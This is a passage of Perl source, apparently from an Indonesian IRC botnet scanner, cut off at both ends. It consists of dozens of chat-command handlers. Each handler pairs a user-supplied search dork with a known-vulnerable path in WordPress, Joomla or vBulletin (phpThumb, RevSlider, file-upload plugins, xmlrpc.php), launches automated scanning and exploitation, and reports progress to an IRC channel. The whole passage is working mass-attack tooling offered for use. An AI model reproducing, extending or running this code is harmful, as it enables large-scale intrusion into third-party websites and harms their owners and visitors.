/^$thumbcmd\s+(.+?[.php])\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$2); my $simpan = $nick; if ($bug =~ m/^\//){ &msg("$path","9,1[4!9]Bug nya gak usah pakek \/ di depan :p "); exit; } else { if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","9,1[4!9]15Report 4<9=4> 9$nick 15is scanning TimTHumb on 4$path "); &msg("$path","$thumblogo9Dork 4<9=4>15 $dork "); &msg("$path","$thumblogo9Bugz 4<9=4>15 $bug "); &msg("$path","$thumblogo9Search Engine 4<9=4>15 Wait Loading.....! "); &se_start($path,$bug,$simpan,$dork,$engine,29); } else { &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; } } } } } if ($msg =~ /^$timcmd\s+(.+?[.php])\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$2); my $simpan = $nick; if ($bug =~ m/^\//){ &msg("$path","9,1[4!9]Bug nya gak usah pakek \/ di depan :p "); exit; } else { if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","9,1[4!9]15Report 4<9=4> 9$nick 15is scanning TimTHumb on 4$path "); &msg("$path","$timlogo9Dork 4<9=4>15 $dork "); &msg("$path","$timlogo9Bugz 4<9=4>15 $bug "); &msg("$path","$timlogo9Search Engine 4<9=4>15 Wait Loading.....! "); &se_start($path,$bug,$simpan,$dork,$engine,999); } else { &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; } } } } } if ($msg =~ /^$ketumbarcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("thumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$ketumbarlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$ketumbarlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,2424); } } } if ($msg =~ /^$zioniscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/viral-optins/api/uploader/file-uploader.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$zionislogo9Dork 4<9=4>12 janda.php "); &msg("$path","$zionislogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,131313); } } } if ($msg =~ /^$vbcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("ajax/api/hook/decodeArguments?",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$vblogo9Dork 4<9=4>12 janda.php "); &msg("$path","$vblogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,313131); } } } if ($msg =~ /^$revslidercmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$revsliderlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$revsliderlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,1); } } } if ($msg =~ /^$reveditcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$reveditlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$reveditlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,76761); } } } if ($msg =~ /^$bazarcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$bazarlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$bazarlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,918); } } } if ($msg =~ /^$avcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$avlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$avlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,77777); } } } if ($msg =~ /^$skyfashioncmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$skyfashionlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$skyfashionlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,101010); } } } if ($msg =~ /^$adsmanagercmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("index.php?option=com_adsmanager&task=upload&tmpl=component",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$adsmanagerlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$adsmanagerlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,10); } } } if ($msg =~ /^$avadacmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/mac-dock-gallery/upload-file.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$avadalogo9Dork 4<9=4>12 janda.php "); &msg("$path","$avadalogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,11); } } } if ($msg =~ /^$pluploadcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("com_jwallpapers",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$pluploadlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$pluploadlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,343); } } } if ($msg =~ /^$cuckoobizzcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/photosmash-galleries/bwbps-uploader.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$cuckoobizzlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$cuckoobizzlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,13); } } } if ($msg =~ /^$strikingcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_sexycontactform/fileupload/index.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$strikinglogo9Dork 4<9=4>12 janda.php "); &msg("$path","$strikinglogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,12); } } } if ($msg =~ /^$ccfcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_creativecontactform/fileupload/index.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$ccflogo9Dork 4<9=4>12 janda.php "); &msg("$path","$ccflogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,1244); } } } if ($msg =~ /^$sexcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/sexy-contact-form/includes/fileupload/index.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$sexlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$sexlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,121213); } } } if ($msg =~ /^$alphacontentcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_alphacontent/assets/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$alphacontentlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$alphacontentlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,782); } } } if ($msg =~ /^$zogocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("e107_plugins/zogo-shop/images/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$zogologo9Dork 4<9=4>12 janda.php "); &msg("$path","$zogologo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,66666); } } } if ($msg =~ /^$phpthumbcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$phpthumblogo9Dork 4<9=4>12 janda.php "); &msg("$path","$phpthumblogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,168); } } } if ($msg =~ /^$jgfwcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/verycreative/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$jgfwlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$jgfwlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,22222); } } } if ($msg =~ /^$ploggerbcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/cspParent/images/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$ploggerblogo9Dork 4<9=4>12 janda.php "); &msg("$path","$ploggerblogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,31315); } } } if ($msg =~ /^$jmultimediacmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_jmultimedia/assets/thumbs/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$jmultimedialogo9Dork 4<9=4>12 janda.php "); &msg("$path","$jmultimedialogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,0210); } } } if ($msg =~ /^$blogscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("lib/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$blogslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$blogslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,78799); } } } if ($msg =~ /^$boxcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("js/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$boxlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$boxlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,70789); } } } if ($msg =~ /^$Fluttercmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$Flutterlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$Flutterlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,714); } } } if ($msg =~ /^$ojscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("ojs/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$ojslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$ojslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,7140); } } } if ($msg =~ /^$rokboxcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/wpremix2/includes/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$rokboxlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$rokboxlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,361); } } } if ($msg =~ /^$Elegantcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("includes/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$Elegantlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$Elegantlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,513); } } } if ($msg =~ /^$joomleaguecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/smallfolio/phpThumb_1.7.9/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$joomleaguelogo9Dork 4<9=4>12 janda.php "); &msg("$path","$joomleaguelogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,663); } } } if ($msg =~ /^$snippetscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("assets/snippets/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$snippetslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$snippetslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,755); } } } if ($msg =~ /^$ytcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_flexicontent/libraries/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$ytlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$ytlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,88888); } } } if ($msg =~ /^$freshpagecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/fresh-page/thirdparty/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$freshpagelogo9Dork 4<9=4>12 janda.php "); &msg("$path","$freshpagelogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,247); } } } if ($msg =~ /^$wpremix3cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/wpremix3/includes/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$wpremix3logo9Dork 4<9=4>12 janda.php "); &msg("$path","$wpremix3logo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,237); } } } if ($msg =~ /^$mk4cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/mk4/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$mk4logo9Dork 4<9=4>12 janda.php "); &msg("$path","$mk4logo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,494); } } } if ($msg =~ /^$comfy1cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/comfy-plus/scripts/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$comfy1logo9Dork 4<9=4>12 janda.php "); &msg("$path","$comfy1logo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,4948); } } } if ($msg =~ /^$nevadacmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$nevadalogo9Dork 4<9=4>12 janda.php "); &msg("$path","$nevadalogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,15); } } } if ($msg =~ /^$designcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/holding_pattern/admin/upload-file.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$designlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$designlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,17); } } } if ($msg =~ /^$melrosecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/pitchprint/uploader/",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$melroselogo9Dork 4<9=4>12 janda.php "); &msg("$path","$melroselogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,16); } } } if ($msg =~ /^$phpthumb1cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("mambots/editors/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$phpthumb1logo9Dork 4<9=4>12 janda.php "); &msg("$path","$phpthumb1logo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,1019); } } } if ($msg =~ /^$oscthumbcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("oscthumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$oscthumblogo9Dork 4<9=4>12 janda.php "); &msg("$path","$oscthumblogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,2287); } } } if ($msg =~ /^$phpthumb2cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("mambots/content/_jgfw_/cls/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$phpthumb2logo9Dork 4<9=4>12 janda.php "); &msg("$path","$phpthumb2logo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,9121); } } } if ($msg =~ /^$plogcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("plog-includes/lib/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$ploglogo9Dork 4<9=4>12 janda.php "); &msg("$path","$ploglogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,2198); } } } if ($msg =~ /^$eventcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/all-in-one-event-calendar/lib/theme/file/php.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$eventlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$eventlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,2192); } } } if ($msg =~ /^$thumbphpcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("modules/mod_dgm-news_ultra/img/img.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$thumbphplogo9Dork 4<9=4>12 janda.php "); &msg("$path","$thumbphplogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,3678); } } } if ($msg =~ /^$portfoliocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_portfolio/includes/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$portfoliologo9Dork 4<9=4>12 janda.php "); &msg("$path","$portfoliologo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,638); } } } if ($msg =~ /^$wpmaxcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/wp-max/scripts/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$wpmaxlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$wpmaxlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,735); } } } if ($msg =~ /^$alphauserpointscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_alphauserpoints/assets/phpThumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$alphauserpointslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$alphauserpointslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,0702); } } } if ($msg =~ /^$formcraftcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/formcraft/file-upload/server/php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$formcraftlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$formcraftlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,18); } } } if ($msg =~ /^$themifycmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$themifylogo9Dork 4<9=4>12 janda.php "); &msg("$path","$themifylogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,232323); } } } if ($msg =~ /^$dmcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/downloads-manager/readme.txt",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$dmlogo9Dork 4<9=4>12 janda.php "); &msg("$path","$dmlogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,282828); } } } if ($msg =~ /^$coldFusion1cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("xmlrpc.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$coldFusion1logo9Dork 4<9=4>12 janda.php "); &msg("$path","$coldFusion1logo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,12151); } } } if ($msg =~ /^$assetscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("assets/global/plugins/jquery-file-upload/server/php/",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$assetslogo9Dork 4<9=4>12 janda.php "); &msg("$path","$assetslogo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,19); } } } if ($msg =~ /^$assets1cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("themes/sprflat/assets/server/php/",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan di 4$path "); &msg("$path","$assets1logo9Dork 4<9=4>12 janda.php "); &msg("$path","$assets1logo9Search Engine 4<9=4>12 Wait proses ............. "); &se_start($path,$bug,$simpan,$dork,$engine,191920); } } } if ($msg =~ /^$fluidformscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/fluid_forms/file-upload/server/php/",$1); my 